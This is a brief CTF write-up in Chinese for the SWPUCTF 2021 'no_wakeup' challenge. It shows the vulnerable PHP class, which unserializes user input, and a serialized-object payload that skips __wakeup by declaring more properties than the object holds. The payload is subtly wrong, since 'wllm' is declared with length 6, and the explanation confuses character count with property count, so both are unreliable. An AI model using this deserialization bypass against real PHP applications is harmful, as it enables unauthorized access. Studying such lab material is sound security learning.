Problem: [SWPUCTF 2021 新生赛]no_wakeup
派蒙可爱捏~( ̄▽ ̄)~*
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
反序列化就行了
肉眼可见,sha1碰撞并不可取,所以只能绕过
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:6:"wllm";}
注意php反序列化中如果字符串中记录的字符数量和后面大括号中的字符数量会跳过wakeup的使用
